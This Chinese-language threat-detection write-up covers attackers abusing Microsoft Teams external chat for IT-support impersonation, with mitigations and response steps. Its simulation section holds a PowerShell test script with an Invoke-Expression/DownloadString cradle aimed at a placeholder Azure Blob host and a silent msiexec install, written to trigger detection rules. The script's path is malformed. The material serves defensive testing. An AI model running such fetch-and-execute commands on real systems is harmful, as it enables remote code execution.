Microsoft Teams外部聊天滥用导致初始访问

摘要

威胁行为者正在滥用 Microsoft Teams 的外部聊天功能来运行冒充骗局并传递恶意文件。攻击者使用 IT 主题的显示名称和一次性 Microsoft 365 租户来伪装成合法身份并赢得受害者的信任。在建立联系后，他们经常依靠语音钓鱼和远程监控与管理 (RMM) 工具来获得键盘操作权限。

调查

Arctic Wolf 分析了超过 400 起涉及 Microsoft Teams 外部聊天滥用的事件。调查发现了一个反复出现的模式，即在攻击者通过 Teams 模仿 IT 支持联系受害者之前，邮件轰炸制造紧迫感。研究人员还观察到了从 .onmicrosoft.com 租户转向攻击者控制的 .top 域进行有效载荷阶段。

缓解措施

组织应在 Teams 管理中心将开放的外部访问策略替换为受信任域的允许列表。还建议禁用与未管理或 Teams 消费者账户的聊天。限制使用如 Quick Assist 的工具，并阻止未授权的 RMM 软件也可以进一步减少后续利用的风险。

响应

检测到可疑的外部 Teams 聊天活动时，组织应通过带外通信渠道验证请求者的身份。安全团队应关联 ChatCreated 事件与终端和身份遥测来揭示潜在泄漏。快速隔离受影响主机并撤销潜在被泄露用户的会话令牌至关重要。

模拟执行

• 攻击叙述与命令： 对手的目标是通过安装恶意服务来建立持久性。为了避免检测，他们尝试从公共 Azure Blob 存储容器下载有效载荷。他们使用一个 PowerShell “单行代码”，其中结合了 Invoke-Expression (别名为 IEX) 与指向 blob.core.windows.net的 URL。一旦脚本在内存中执行，它会触发 msiexec.exe 来安装最终的有效载荷，从初始命令完成到系统级别安装的链。

• 回归测试脚本：

  # 模拟脚本：通过 PowerShell 和 Azure Blob 执行有效载荷
  # 此脚本模仿规则所查找的确切模式。
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] 模拟带有 Azure Blob URL 的 PowerShell Script Block 执行..."
  # 这一行触发了 EventID 4104 逻辑 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output '正在下载自 $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] 模拟 MSI 执行..."
  # 这一行触发了 EventID 4688 逻辑 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• 清除命令：

  # 清理：此模拟脚本实际上未创建持久文件
  # 因为它使用假 URL 和标准系统 MSI 路径。
  Write-Host "[+] 模拟完成。系统上未留有工件。"